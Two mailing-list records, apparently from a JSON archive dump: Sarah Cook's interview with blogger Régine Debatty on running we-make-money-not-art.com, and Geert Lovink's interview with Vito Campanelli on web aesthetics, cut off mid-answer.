                "content": "\nDear List\nplease find below another CRUMB interview... it will be up on the  \nwebsite soon! Her interview with me is at:\nhttp://www.we-make-money-not-art.com/archives/009560.php\nSarah\n----\nR\u00e9gine Debatty is the powerhouse behind the hugely popular blog we- \nmake-money-not-art.com. We sent each other interview questions after  \nmeeting on a freezing cold evening in May in Newcastle, and spending  \nthe following morning walking around the east side of town in the  \ndrizzle looking at how the city is changing through cultural  \nregeneration \u2013 her dressed in yellow, me dressed in red (when we are  \nusually in green and orange respectively). Her interview with me is  \non her blog, and mine with her is here on CRUMB.\n\nSarah Cook: What made you want to start wmmna?\n\nR\u00e9gine Debatty: It started by chance. I had tons of time to kill at  \nthe office and met this guy, Max, who had crafted some artistic  \napplication for mobile phones that he used in performances. It was  \ntotally new to me: \"What? You can make art with some tech device?\" So  \nI decided to investigate and find out who else was using technology  \nin a creative, unexpected way. Max suggested I archive my research in  \na blog. You know the rest.\n\nSC: How do you choose what to cover and what not to?\n\nRD: It all depends on what I\u2019m interested in at the moment. It used  \nto be interactive installations, now I\u2019m more into bioart, critical  \ndesign, and sustainability. It's totally personal, there's no  \nstrategy, plan nor willingness to cover extensively a particular topic.\n\nSC: How do you balance the pressure from your readers that you cover  \ntheir show or project with your own personal interest (what you want  \nto cover)?\nRD: I'm a totally selfish person. I care for artists and designers  \nbut not enough to write about any project that I wouldn't find  \nexciting enough. So I ignore the pressure, I just have my own way.  \nThat doesn't mean that the method is the best nor that I\u2019m perfectly  \nhappy with it: I make errors of judgment, I hastily discard projects  \nwhich are interesting, I agree to post something I don't really like  \njust because the artist seems to be such a kind person, etc.\n\nSC: Is the fact that you do it for free / no monetary reward a kind  \nof filtering criteria (i.e. if you were paid to do this you might  \nhave to write about things you didn't care so much for)?\nRD: I would never write about something I wouldn't feel comfortable  \nabout. Well, I guess I could if I were offered tons of money but it  \njust wouldn't work over a long period of time. I\u2019ve been paid to  \nattend and blog a conference once or twice but the programme was  \nreally good so it was a pleasure to do it and it fitted perfectly the  \nspirit of my blog so there was no discrepancy. However receiving  \nmoney means that I have to write about the whole conference, not just  \nfiltering and posting the talks of one or two speakers as I normally  \nwould because I\u2019m lazy or in a hurry. I always get better feedback  \nfrom the readers when I do some extra effort and post as much as  \npossible. But hey, I was wondering the other day whether I am getting  \ntoo old for that. I used to be a real blog-machine. Now I still  \nattend the talks, write down religiously as much as possible what's  \nbeing said, go to the hotel room to blog instead of joining the  \nparties, but at the end of the day I manage to post only a tiny  \nfraction of what's been going on.\n\nSC: How do you sustain the blog (and your writing life) financially?  \nWhere are the compromises? (For example, do people pay your expenses  \nto come and see a project, and do you like it when they do, or does  \nit imply you write in return?)\nRD: There's a bit of advertising, sometimes it works great, sometimes  \nit's just pitiful. So I write for magazines and catalogues in order  \nto be able to pay the rent. I don't like that. I'd rather focus on my  \nown thing. Besides, English is not my mother language so I feel  \nhandicapped by my ignorance of the grammar and vocabulary; it's okay  \non the blog because I feel that readers know me and might be more  \ntolerant. On the other hand, it would be mean to complain. I\u2019m quite  \nflattered when someone asks me to write for them.\n\nNow the travels are covered. Sometimes. If the festival is good,  \norganized by talented people with empty pockets, I don't mind, I pay  \nmy plane ticket, give a talk, blog the event. Conflux in New York is  \nsuch event. There are other festivals or conferences that I feel I  \nhave the duty to attend like Ars Electronica. I save a bit of money,  \ngo to Ars and enjoy as much as I can. Otherwise I can't afford to  \ntravel and get a hotel. Most of the time I\u2019m asked to give a talk so  \nthe organizers cover my expense and give me a speaker's fee like they  \ndo with any other participant of the event. Sometimes, I\u2019m asked to  \ncome and blog a conference or festival, I don't even have to give a  \ntalk or workshop but all expenses are covered.\n\nIf the event looks interesting and the programme is good, bliss! I\u2019ll  \ngo for it. If the programme doesn't rock my boat then I decline the  \noffer.\n\nVery often though, people would contact me and ask, \"Why didn't you  \ncome and cover my festival in Canada?\" Some just assume that I\u2019m a  \nbig organization with loads of money and contributors all around the  \nworld. But, hello!, it's just me writing from my kitchen table. The  \nblog is not a business, it's a platform I use to share with others  \nwhat I\u2019m discovering every day.\n\nSC: Because you write about what you want, for your own personal blog  \n(as you described it to me earlier) do you ever get accused of not  \nbeing critical enough? (I.e. that you rarely write bad reviews of  \nprojects because generally you're writing a review in the first place  \nbecause you liked the project)\nRD: Yes, sometimes. I try to stay neutral because I don't want to  \ninfluence the opinion of readers. I\u2019d rather think that they approach  \nan artwork without any prejudice and if they have any, I don't want  \nto be the one to blame for it. I used to be a reporter, staying  \nneutral was something I was \"trained\" to be and I never felt that  \nthere was anything wrong with that. Besides, I don't think my own  \nopinion is worth that much. I'm not an expert, just an amateur. There  \nare enough vocal amateurs on the web these days so I don't feel like  \nadding my pinch of salt. I do believe that I still have so much to  \nlearn before daring to utter any well-argued thoughts. I am also  \naware that declaring that I\u2019m an amateur is a very comfortable, not  \nto say cowardly, position. The only way I express that I don't like a  \nproject these days is by not writing about it. It won't mean that a  \nproject is bad, just that I didn't find it exciting and compelling  \nenough.\n\nSC: You\u2019ve done a terrific number of really excellent interviews with  \nartists and new media cultural producers all over the world - and in  \nmany of them ask them the same questions I\u2019ve just asked you about  \nsustainability of practice. Do you think there is a financial  \nvolunteerism and precarity at the heart of most if not all new media  \npractice?\nRD: No. No, because I don't want it to be like that. It shouldn't.  \nBut yes, sometimes new media practice is a question of volunteerism  \nand precarity. Not everywhere. I know that the situation in Europe is  \nbetter than in the US and that within Europe there are huge  \ndifferences within countries (The Dutch, for example, are better off  \nthan Italians.) or regions (Flanders in Belgium is far more generous  \nwith new media art than the French-speaking community of the country  \nis).\n\nBut then I\u2019m not sure it's just new media art, I guess many people  \ninvolved in art have to struggle too. New media art might be in a  \nworse situation than any other kind of art because not everyone is  \nready to give it credibility, thus funding.\n\nOr maybe the problem is us? We just believe in what we do, are  \npassionate about it (I sound like an ad for an insurance company  \nhere) and put the need to pay the rent after our own desire to see a  \nproject succeed?\n\nSC: You have a few other contributors listed, how does the workload  \nbreak down between you? Have you ever worked with other freelance  \nwriters / reporters for wmmna, and if not, why not?\nRD: There's no rule. I write my posts every day and if the others  \nhave time to write something once or twice a month that's great. I  \nfind it extremely hard to find people who can write for wmmna. And do  \nit as well as Sascha, Alejandro and Konomi do. I love you guys!\n\nSC: How do you see the field of new media art has changed since you  \nstarted blogging? (In relation to fine art? in relation to design? In  \nrelation to technology / computing research projects?)\nRD: Now is time to be pretentious. I think that the blog has allowed  \nsome works or fields of art and design to get more recognition. Three  \nyears ago when I started writing about interactive works, widely read  \ngadget blogs would just laugh at the blog posts. After some time,  \nthey stopped laughing and regularly featured some art works in their  \ncolumn. There's still much hi-hi-ha-ha! in their comments but there's  \nsome fair amount of respect too. I also get emails from people who  \nwrite for New Scientist or Wired magazine that thank me for pointing  \nthem to artists, designers or other people whose work they would  \notherwise never have heard (thus written) about.\n\nI can also see that because of the exposure many people now want to  \nbe part of the interaction design or new media art crowd just because  \nthey see that it's \"cool\" and would allow them to get their name in  \ngizmodo or boingboing (I looove boingboing, don't get me wrong). I've  \nseen that reflected in some recent and badly curated media art  \nexhibitions: gimmicky, shallow and flashy pieces that entertain  \neveryone. I don't know how much good it does to the discipline; they  \nget more coverage but not always the good kind. Do you see what I mean?\n\nSC: (Given the work I do at CRUMB about how museums and galleries  \ntake new media art on board), from your perspective, are the projects  \nyou write about, or artists you interview, any closer to being  \nconsidered a part of the mainstream of visual art and contemporary  \nculture than before, or are they still in a ghetto (self-defined or  \notherwise)?\nRD: I can't really talk about museums. I have discussed this with  \ngallery owners and they have to make a living, don't we all? So some  \nrare pioneers sell screen-based works. Selling a 3D piece is more of  \na challenge; it's expensive, can look rather unassuming when the plug  \nis off and needs some fixing once in a while. But coming back to  \nscreen-based works, there's some light at the end of the tunnel.  \nSeveral net.artists are now finding a market for their pieces.  \nThey've been waiting for 10 years but it seems that things are  \nfinally looking brighter for them. There's even a rumour that when  \none of the New York galleries started framing the computer screen  \nworks in nice frames and hung them on the walls, sales got much better.\n\nNow one positive area might be magazines. Most of the time they  \nsimply ignore new media art but some of them have started to show  \nsome interest for \"digital\" art, they've even asked me to write  \ncolumns or report. I repeat: I hate to write long pieces for papers  \nbut I also get a big pang of pride when I think that some artists  \nwhose work I admire are finally featured on those glossy posh pages.  \nThat doesn't mean I don't have to struggle sometimes when the editors  \ntell me \"Oh, please can't you just write about something a bit more  \nrelated to the topic of this magazine this time. You know... art!\"\n\nSC: Do you see what you're doing with wmmna as curatorial in any way  \n(filtering or selecting or linking)? I think the introduction to your  \ninterview with Vuk Cosic, for example, embodies some of the best  \nthings about curatorial practice \u2013 being able to select works from a  \nbody of practice, describe them in detail but in plain speaking  \nEnglish, and get readers/viewers excited to find out more with the  \nQ&A that follows.\nRD: I guess it could be regarded as a kind of curatorial work. I make  \na selection and exhibit the work in my little art gallery. Olia  \nLialina said at Transmediale this year that some artists would rather  \nhave their work exhibited on websites like rhizome and wmmna than in  \ngalleries that no one visits. http://art.teleportacia.org/observation/ \nflat_against_the_wall/ I'm not so sure about that but it sounded  \nflattering.\n\nSC: How does your consulting work fit in to your practice - is that  \ncuratorial?\nRD: I call it consulting to make it short and easy to grasp. The term  \nincludes some curatorial work, being part of a jury for commissions,  \nand spending plenty of time discussing \u2018online or not\u2019 with students  \nwho need advice about their own projects or the best schools to  \nattend. On the other hand, writing on my bio that I \"consult\" leads  \nto some rather unpleasant emails from people who just \"ask my  \nopinion\" but in fact hope that I\u2019ll do the job for them. For example,  \nI\u2019m regularly asked to recommend some \"cool\" art works for  \nexhibitions that other \"experts\" are paid to curate or set up. But if  \nyou're a student and you need some help with deciding which school is  \nbest for your interests and expectations or if you're looking for  \nprojects that engage with the same topic that you're exploring, I  \ndon't mind giving a hand at all.\n\nSC: If you could teach new media art critics one thing, what would it  \nbe?\nRD: I'm not sure I can teach them anything; I\u2019d rather ask them to  \ngive me some of their know-how. I think my only talent is that I\u2019m a  \ngood \"vulgarisatrice\". It is a French word that can be used in a  \npositive or unflattering light; it means that I can make things  \neasier to understand for a bigger number of people. I make media art  \nmore pop. By doing so I give it more visibility but as I mentioned  \nearlier there's always the danger of making it look like something  \njust cool and shallow.\n\nSC: You studied the classics (Latin and Greek), which is a nice  \ncounterpoint to your work in new media. Who are some writers you  \nadmire (whether bloggers or not)?\nRD: I read and eat so much art and design that all I want to read at  \nbedtime are crime stories. I like Ian Rankin and Minette Walters  \nparticularly.\n\nSC: I\u2019ve often thought I\u2019d like to be you, or at least have at least  \nas cool accessories and hair clips! I really mean that I\u2019d like to do  \nwhat you do. Would you recommend it? How do you stay inspired?\nRD: I recommend it for the feeling it gives me to be the luckiest  \nperson on earth (right after Paris Hilton). On the other hand, I find  \ntraveling so much tiring and I work a lot.\n\nThere's a lot of effort behind the scenes, like reading a lot (new  \nmedia art essays, art and design magazines), trying to see as many  \nshows as possible, writing articles for mags and catalogues in order  \nto pay the rent, preparing the talks and workshops, etc. None of it  \nis too taxing though, who am I to whine \"oh, gosh! I have to see an  \nexhibition!\" I love it most of the time, but my boyfriend complains  \n(rightly so) that I don't spend enough time with him and when I do I  \njust talk about work.\n\nWhat keeps me inspired is that I just follow my interests and they  \ntend to change. I guess it would be better for my blog if I had stuck  \nto (yawn!) interactive installations. Instead, I only write about  \nthem once in a while and dedicate more space to other types of works.  \nI also write more about non-techy art. There are two reasons behind  \nthis decision. The first one is that new media art had a strange  \neffect on me: it rekindled my interest in art which might be a good  \nthing, as it allows me to keep my distance from the tech fads (not  \nall that interacts and blinks is art) and look at a new media art  \npiece with a more critical and aesthetics-seeking eye. The second  \nreason why I write more about non-tech art is that I feel it would be  \ngood if \"traditional\" art and new media art could mingle more often.  \nIt doesn't happen much in festivals and exhibitions so I just make it  \nhappen on my blog.\n\nSC: How much harder is it now that you've won 2 Webby awards?\n\nRD: Not harder at all, I just keep on doing my own thing. I'm very  \nhappy that they chose me but I don't feel that I deserve the award.  \nI'm not fishing for compliments, I mean it. By the way, should I  \nchange anything because I received 2 Webbys?\n\nSC: I don\u2019t think you should change anything; I wondered if the  \npressure to keep at it, or do more, had increased with the greater  \npopularity of the site. Which leads me to ask at last, what are you  \nthinking about doing next?\n\nRD: That's the problem. I'm spending so much time visiting  \nexhibitions, talking at conferences and trying to write about those  \nthat I never take a few days to just sit there and think about where  \nall this could go.\n\nThanks for your interest, Sarah.",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind0705&L=new-media-curating&F=&S=&P=40094",
                "date": "Wed, 30 May 2007 22:28:25 +0100",
                "list": "crumb",
                "author_name": "Sarah Cook",
                "subject": "interview with Regine Debatty from we-make-money-not-art.com"
            },
            {
                "content-type": "text/plai",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "id": "00012",
                "content": "Interview with Vito Campanelli about Web Aesthetics\nBy Geert Lovink\n\nEver since I worked with Matthew Fuller in 2004 on A Decade of Web\nDesign, I have been interested in the question if there is such a\nthing as ?web aesthetics? that could operate beyond the overheated\nnineteen nineties Internet rhetoric. It is easy to historicize\n?net.art? as a pseudo historical avant-garde and then declare it\ndead, but what?s the point of such an all too obvious statement? The\nWeb continues to grow and change at an astonishing rate. It is not\nsufficient to criticize Web 2.0 as a remake of dotcommania. Corporate\nand state dominance of the Web continues to be a threat, but this\nshould not shy us away from a rigorous theorization of the Web in all\nits aspects. It was on the Web that I first encountered the works\nof the Italian theorist, Vito Campanelli, culminating in a visit to\nhis hometown, Naples, in October 2006. After an inspiring meeting\nin-real-life we continued our exchange online, culminating in this\nonline interview.\n\nVito Campanelli is assistant professor of ?Theory and technique of the\nmass communication? at University of Napoli ?L?Orientale? and a free\nlance contributor to magazines such as Neural, Boiler, and Memenest.\nVito also co-founded the web designers collective Klash. From there,\nhe joined USAD in 2005, a research and development group focused on\ne-learning. He is also an independent curator, working for cultural\nevents in Naples such as Sintesi, the Electronic Arts Festival, and is\nthe originator of the Web aesthetics research project called The Net\nObserver. More recently he co-founded the Napoli new media initiative\nMAO, the Media & Arts Office. Vito Campanelli published the book,\nL?arte della Rete, l?arte in Rete. Il Neen, la rivoluzione estetica\nabout the artist Miltos Manetas.\n\nGL: Let?s start. You?re working on ?web aesthetics?. The first\nassociation, of course, would be with web design, HTML and the look\nand feel of a website. But perhaps that?s not what you?re aiming at.\n\nVC: In my research into aesthetic forms of the Net, I make a clear\ndivision between commercial expressions and aesthetic expressions,\nwithout qualification. I?m not so interested in the latter, while\nI?m fascinated by the former - those aesthetic forms that exhaust\ntheir essence just in being there, without any intent or aim that\nexceeds the personal expressive needs of whoever designed them. This\ndistinction could seem arbitrary- it could also find a basis if we\nconsider that modern mediated mass communication is poles apart\nrelative to any aesthetic feeling: vulgarity and arrogance nullify any\nhypothesis of meaning. On the contrary, the research of an aesthetic\npoint of view is the attempt to assign - again - a sense to our human\npaths.\n\nIn my opinion aesthetics is the more powerful answer to the violence\nof mass communication (or modern commercial communication).\nMass communication eludes every determination, it aims to be\ncontemporaneously ?one thing, its own opposite - and everything\nbetween the two opposites?. Exposing the message to all its possible\nvariants, it finishes to abolish it. Indeed, the goal of mass\ncommunication is always the dissipation of any content.\n\nThe only alternative to the effects of mass communication is a\nreturn to an aesthetic feeling of things, a kind of aesthetics not\nso much ideological, but rather more active (e.g. Adorno) - a kind\nof aesthetics able to bring again into society and culture feelings\nof economic unconcern (rather an unconcerned interest), discretion,\nmoderation, the taste for challenge, witticism, and seduction.\nAesthetics is exactly this.\n\nTalking about feelings and emotions means to free oneself from the\ncommunication domain, while facing a category of beauty has become\none of the most subversive actions we can devise in contrast to\nthe reigning ?factory of culture and consensus?. Within this view\nI?m suggesting, technology stays in the background: it creates the\nnecessary conditions for spreading one?s own creativity through\ndigital media. If we accept this position, no matter if a website is\nmade using HTML or Flash, what?s really important is the beauty it\nexpresses.\n\nGL: Do you find it useful to build a bridge back to the ?classics? of\naesthetics - from Kant to Croce? How should we read such old authors\nin the light of the Internet and its development?\n\nVC: A theory that doesn?t interface itself to the historical\npresupposition of our thinking is nothing more than a stupid and\nuseless utopia. Nevertheless, the authors you mentioned are not at\nthe center of my thoughts. Kant doesn?t attribute any cognitive value\nto art, while Croce is sidelined with respect to Internet and its\nsocio-cultural postulates. In Croce?s aesthetics there is a strong\ndevaluation of technique, as he considers it extrinsic to the art and\nlinked instead to the communication concept. Moreover, Croce himself\ndoesn?t pose the question of communication. The intuition-expression\nis indeed already communication in itself. Croce would never say that\nthe medium is the message. I refer to other authors, above all Deleuze\nand Guattari, who had the merit of prefiguring the actual rhizomatic\nstructure of the Internet society, and Panofsky, who is a source of\ninspiration for Manovich. I find the approach of Rudolf Arnheim very\nvaluable: according to him we must build aesthetics, starting from\nthe perceptive and sensory world, not from the idea. If we consider\nthe relational nature of most Net Art, it becomes interesting also\ntrying to read, under a different lens, Herbert Marcuse?s Eros and\nCivilization.\n\n\n\nGL: It is hard to move away from the postmodern chapter and the way\nthat era defined aesthetics. Is that a struggle for you? Could we say\nthat we, still, live in the aftermath of that theory storm and merely\napply the collected insights of the late 20th century to a phenomenon\nlike the World Wide Web?\n\nVC: What you emphasize is a concrete risk and perhaps it is also a\nreason for the difficulties academia has in opening itself up to\na dialectic comparison with the issues the Web has introduced. If\nwe look closely at the more relevant aesthetic phenomenon in the\nlast twenty-year period, Net Art, it becomes hard to refute that\nthis movement, even in its heterogeneity, has introduced new and\nconfrontational aesthetic canons. Above all, it seems crucial to me\nthe overtaking of any distinction between content and form or medium:\nthe interface (that, as Manovich asserts, replaces the form and the\nmedium into the modern paradigm) is so merged with the content that\nthinking of it as a separate level means to eliminate the artistic\ndimension. Broadly speaking, I think that authentic advances will be\nreached when we cease thinking of the Web as an expressive medium, and\nmore of a cultural and social interface.\n\nGL: It is said that Deleuze and Guattari?s concept have become so\nvirulent, so active, that they have passed the point of anticipation,\nand are now an integral part of our media life. It doesn?t mean that\nD&G and their followers were wrong or sold out. In fact, it points at\na new condition of theory in which critical concepts start to open\nup spaces and come alive, in the midst of the mess called global\ncapitalism. Seen in this light, what role should a theory of web\naesthetics play?\n\nVC: What happened to Deleuze and Guattari?s theories is merely what\nalways happens: human thought is faster than technical progress. It\noften occurs that we are not able to understand the true significance\nof contemporary thought, nevertheless,afterwards, inrereading a\nbook, we see clearly its capacity ofbeing ahead of its time. It?s a\nsituation that characterizes not only philosophy but also, in general,\nliterature. I?m still amazed, for example, at how some cyberpunk\nnovels have anticipated the focal themes of our times, according to\nsimple literary inventions. Gibson wrote Neuromancer(July, 1984)\nwithout any knowledge of the Web?s reality, still, he had not\ndifficulty carrying his thought over technologicalart?s state.\n\nMy idea of aesthetics has - above all - a factual dimension. I?d\nlike to think about a kind of aesthetics busy with ?dirtying its\nhands? with the concrete and daily world.Its role should be therefore\ngiving back to us a beauty dimension which we can contrast against\nthe widespread vulgarity. To contrast an ephemeral aesthetic act\nto the actual dogma of ?creativity under command?, means to take\noneself away from the alienation that characterizes contemporary\ncreative production. To affirm that aesthetic forms possess a social\nand cultural (even pedagogic in some ways) value, it means to negate\n- at root - the modern social organization that comes to measure any\nexpression, including artistic ones, on the basis of market value.\n\nAgain, to affirm that a message, a form, a thought, has an intrinsic\nvalue before the commercial one seems banal, nevertheless is an\naversive affirmation if compared to that you describe as ?the mess\ncalled global capitalism?. In my opinion, the diffusion of a Web\naesthetics is ultimately one of the few practicable ways to liberate\nour new (digital) world from the slavery in which it has been\ncondemned by commercial communication.\n\nGL: It?s so easy these days to proclaim that theory is dead. How\ndo you deal with such cynical observations? Is there an Italian\nequivalent of pragmatism?\n\nVC: To ask an indolent idealistic Southerner a question about\npragmatism could sound like a provocation, even if - to tell the\ntruth - you get the point when highlighting the possibility of\ndifferent approaches. I do believe that there are peoples who, due\nto historical and cultural traditions, are more inclined to theory,\nwhile others are more inclined to direct experience. Even with regard\nto new technologies, it seems to me that it?s possible to highlight\nan approach, predominantly European, that tends to make an issue of\ntechnique and to design paths between actual technologic conquests\nand the classic thought. There is another approach, one that finds\nits fulcrum in California, that appears instead much more focused on\ntechnique in itself. Manovich is an exception, but in his theories\nhe continuously betrays his Russian origins. ?Theory?s death? is\nlike ?spring and autumn?s death?: a good topic of conversation for\nboring living rooms. History teaches us that theory always returns in\nunexpected ways. Theory is dead, long live theory!\n\nGL: Do you teach Web aesthetics? Can you tell us something how\nstudents are bridging theory and the immense drive towards tinkering\nand producing?\n\nVC: I wish I was teaching Web aesthetics! Actually, I teach ?Theory\nand techniques of mass communication? and I try to feed pills of\naesthetic evaluations into these lessons.\n\nAs for students, they seem to me mainly oriented to use the more\nvarious objects (PC,digital devices, books, etc...) and not inclined\nto ask themselves questions about the things they are using. They\nuse them without asking themselves where they come from or which\nvalences they express over the function of use, or even, which\nevolutionary paths they design? This attitude is probably the fruit of\nthe ruling consumerism that represents, de facto, the only historical\nreality that new generations know first hand. Nevertheless there\nis perhaps something more: the more or less widespread resignation\nand renunciation ofplaying an active and critical role in examining\nwhat surrounds us. Most of the students I usually meet seem to\nincarnate the ideal consumer model dreamed up by marketing gurus.\nThey uncritically accept a lifestyle that other people have designed\nfor them, rather than shaping their own. The picture of the situation\ncould appear tragic, nevertheless, it?s amazing to look at the\nreactions that you can breed in them when you are able to uncover\nsome conditioned thought processes of which they are victim. When it\nhappens, you can clearly see how a growing interest rises in them,\ntogether with the determination to react (also in a creative way). The\nwalk is quite long, therefore it?s important that none of us give up\nthe responsibility to educate and make new generations aware.\n\nGL: Can you tell us what your theory of Web aesthetics consists of? Is\nit a book that you?re working on?\n\nVC: I?ve published a book on Miltos Manetas and the Neen movement\nthat, in my opinion, is one of the more significant artistic\navant-garde expressions in the last twenty-years. To state that\n?websites are the art of our times,? as Manetas did in his Manifesto,\nmeans to put intangible and immaterial artworks outside of the art\nmerchant?s tentacles. Indeed, the market still doesn?t know how to\nsell objects like websites, but if we erase the commercial layer, then\nArt returns to its natural function: to open windows where mankind can\nlook at its own condition.\n\nAt present I?ve finished, together with Danilo Capasso, another book\nthat has moved from five questions about digital culture that Lev\nManovich thought for us at the occasion of a lecture that Danilo and\nmyself organized in Naples in April 2005. We asked more than 100\npersons (artists, theorists, curators, mathematicians, etc.) all\naround the world to answer to Manovich?s suggestions and then we chose\n50 contributions in order to publish them. The book is now complete\nwith two different authors? reflections but - unfortunately - we are\nstill waiting for the editor to make up his mind and pass our work\nover to the press. This is one of the most significant problems of\npublishing nowadays: editors are far too slow to follow the velocity\nof circulation of modern ideas. More generally, I look forward to\nwriting a book on ?the aesthetics of the database? theme and lately,\nI?ve focused my research in this direction, but - to tell the truth\n- the visualization forms of data are so numerous that I?m still\nlost at sea. \n\n GL: The first decade of web design was focused on\nspeculative thinking about the potentials of the medium, followed by\n?best practices? literature and the long silence after the dotcom boom\ncrashed. Where are we now?\n\nVC: We are at the Web 2.0 point, and this indicates an evolution of\nthe way we look at this medium. Despite a lack of unanimity on what\nWeb 2.0 should be, we certainly have made some steps forward - for\nexample, we have dropped the useless antithesis between texts and\nimages: now we consider them as modalities of reading and representing\nreality, and we believe that a rich medium (such as the Web) has to\nenhance them both, instead of contrasting them. Nowadays we can easily\nobserve, within the framework of the Net, words that become images and\nimages that becomes words.\n\nWe have also dropped the ideas that the Web constitutes a return to\nthe oral tradition or to the written word ? indeed, both statements\nhave proven fallacious, and we now prefer to speak about a continuum\nof languages. These conceptual advances also find a hands-on\napplication in web design, as interface designs are responding to\nnarrative and orientation needs that are miles beyond the early\ndesktop metaphor. As a consequence, the web designer?s role is no\nlonger to draw, but rather to arrange environments for interaction\n(between users, between image and text, between books and TV,\nbetween the symbolic and the perceptive, between the active and the\npassive, etc...). More generally, I think we have overcome that stage\nof excitement over the potentials of the medium, and we are now\nfocusing on the nature of the Web itself - its developments and the\ninteractions between the Net and society.\n\nI feel tempted to suggest a bold comparison with the situation of\nfalling in love: first comes the arousal over the ?potentials? of a\nbody, then the attention shifts to the nature of the soul trapped in\nthat body (a person takes the place of a body), and finally, all our\nthoughts are absorbed in imagining the possible relations between that\nperson and people all around us (our family, our clan, our workmates,\nour flat mates, our playmates, our comrades, etc...). It?s also\nfunny to note that, in accepting this comparison, we have to admit\nthat network culture is a postulate of the early excitement over the\nWeb (an excitement that had been driven by the dotcom boom), as a\nmarriage is a postulate of the initial arousal over a body (driven\nby a hormonal boom), allowing us to put the two ?booms? on the same\nlevel.\n\nGL: Is theory in Italy a place of refuge because there is so little\ninstitutional support for new media in your country?\n\nVC: Yes, it is. In my country new media are like Godot in Samuel\nBeckett?stragicomedy: all the institutions keep on chattering about\nthe advent of the Internet and new digital tools, but nobody realizes\nthat they already surround us. In this upsetting situation, theory\nbecomes the only way to be in touch with such things.\n\nGL: Could we also read the lively Internet scene in Italy as a\nsubcultural necessity from the age of Berlusconi who managed to\nmonopolize both commercial and state media when he ruled as prime\nminister? And, as a result of that could we say that there is a\nsort of ?temporary compromise? between autonomous cultures and more\nprogressive part of the (IT) business community?\n\nVC: On one hand the lively media scene in Italy is an answer to the\nBerlusconi monopoly on broadcast media, but we must not forget that\nthe one you emphasized is not the only critical situation, indeed\nItaly is the country of monopolies, oligopolies, and cartels: Internet\nand telecommunications, banks and insurance companies, most of the\nvital business articulations are monopolized by the ?usual suspects?.\nOnthe other hand there is a very deep-rooted tradition in media\nactivism. It would suffice to remember the experience of Radio Alice\nthat started transmitting in 1976, and introduced techniques such as\nlinguistic sabotage and diffusion of arbitrary information. Many of\nthe actual initiatives are expressly linked toones born at the end of\nthe 1970s, although the needs of that period are replaced with more\nmodern issues.\n\n From my point of view, the most interesting aspect in media activism\nis that it leaves behind the dominant communication language;\n?breaking with language in order to reach life? as Artaud said.\nIt?s fascinating to me how the language of advertising, as well as\nvarious modes of ideological communication, are revised into the\nbest-made operations of subadvertising. Reusingelements of well-known\nmedia such as popular icons and clich\u00e9s, along with the detournement\nof contemporary mass culture headlines, are very creative ways to\ncriticize the context we live in. To my great displeasure I have to\nunderline that often initiatives such as street TV or illegal radio\nexhaust their energy in building a new transmitting source but what\nfails is content. It?s like building empty boxes: after the initial\ncuriosity, nobody wants really to get in.\n\nI don?t see any progressive part of the (IT) business community in\nItaly. Sure, there is a part that looks ?cool?: it?s the one that\nscans the autonomous cultures searching for ?coolness?. The point\nis, there isn?t any dialogue. A dialogue presumes a predisposition\nto change one?s point of view and I?m quite sure that thebusiness\ncommunityabsolutely doesn?t want to put their assumptions up for\ndiscussion.\n\nGL: You attended the MyCreativity conference in Amsterdam. Do you see\nany trace of the creative industries discourse in Italy? If Europe?s\ndestiny is going to be exporting design and other lifestyle-related\n?experiences?, then Italy would be in the best possible position. Is\nit?\n\nVC: Debate about the creative industry in Italy still has far to go.\nThe term ?industry? is still not used in association with the term\n?creativity?, as we usually speak about the ?fashion industry?, or\n?shoe industry? or, even, ?furniture industry?. This layout doesn?t\nencourage the emersion of the creative work?s element as lowest common\ndenominator around the different entrepreneurial activities that bring\nto life the famous ?Made in Italy? moniker. Creative work is - without\na doubt - at the bottom of the product ?Italy?; nevertheless, the\nemphasis is always on Italian genius (that is, the attitude to invent\nsurprising things), or on ?Italian lifestyle?. I guess that if we took\na poll of strangers accustomed to buying fashionable stuff made in\nItaly, we would discover that they believe they are buying the right\nto participate in the ?Italian lifestyle?, more than the fruits of\nItalian creative labor.\n\nGL: Southern Europe envies the North for all its festivals, centers\nand cultural funding whereas Northern Europeans can?t stop showing\ntheir excitement for the Virnos, Berardis, Negris, Agambens,\nLazzoratos and Pasquinellis. Isn?t that a strange form of symbolic\ncirculation? How do you see this play between ideas and institutional\ncultures on a European scale? Shouldn?t we just stop thinking in those\nterms and start working on equal levels and forget all this regional\nlabeling? Eastern Europe, for instance, has suffered for many years\nfrom the regional stigma. Where you come from overdetermines what you\ndo. Northerners tend not to respond to that criticism.\n\nVC: Maybe the answer is already in your preamble: due to the fact\nthat in Southern Europe it is quite tough to get funding and support\nfor cultural initiatives (especially when you move outside of the\nmainstream), and many people are more inclined to make intellectual\nreflections, rather then to plan events. I would like to avoid any\nregional labeling, nevertheless it can be said, with some justice,\nthat those labels express a state of affairs that is still heavily\nconditioned by disparities and specificities working on a regional\nbasis. Also if we assume a merely linguistic point of view, it is\ncompletely evident that non-anglophone realities suffer enormously\nfrom the inability to participate in an active way with the European\n(or international) cultural debate. This fact pushes these realities\nto retreat into themselves and to bring to life expressive modalities\ndistinguished by perspectives that are more regional than global.\n\nAs for Italy, one of the most interesting specificity is that the\nlack in cultural funding has transformed the country into an amazing\ntraining ground for auto-production phenomena. Operating ?from the\nbottom? is, in my opinion, a key phenomenon these days, indeed, it\nputs into the cultural economy some truly innovative dynamics, as\nlong these dynamics break (finally) the chain constraining cultural\nproduction to the economy of (induced) consumptions and needs.\n>From this field, to put a lens on the specificity of this Italian\nphenomenon could offer answers more interesting than the ones you\nobtain considering Italy in the overall European movement.\n\nGL: Is it desirable for you to overcome net.art, media theory, and\nelectronic arts by integrating it into a broader praxis that would not\nhave a techno prefix?\n\nVC: My attempt is just that: to free media theory and electronic arts\nfrom techno prefixes in order to consider them just as contemporary\nculture. In a book I wrote a couple of years ago, I stated that we\nneed, now, to surpass the concept of Contemporary Art in order to\ndefine a new contest, one able to contain the theory and the culture\nborn during the last years and centered around the new medium: the\nInternet. Indeed if Contemporary Art?s medium has been Television,\nit is right to close that chapter so we may open a new one dedicated\nto the cultural movements produced by the impact of the Net on\ncontemporary society. It?s not just a question of definitions, rather,\nit is an issue of a cultural shift: giving up the critical and\ninterpretive tools still in use, to build new ones rising from the\nawareness that the computer (or the database, as Manovich would say)\nhas replaced narration as a predominant cultural representation.\n\nGL: Let?s go back to web aesthetics. Besides beauty, could we also\nuse the term ?style?? Is there a positive and critical tradition\nof talking about ?style? or is that merely something for fashion\nmagazines? Maybe it is not wise to look down on fashion? Is there\nstyle on the Net?\n\nVC: Nowadays the term ?style? appears to be 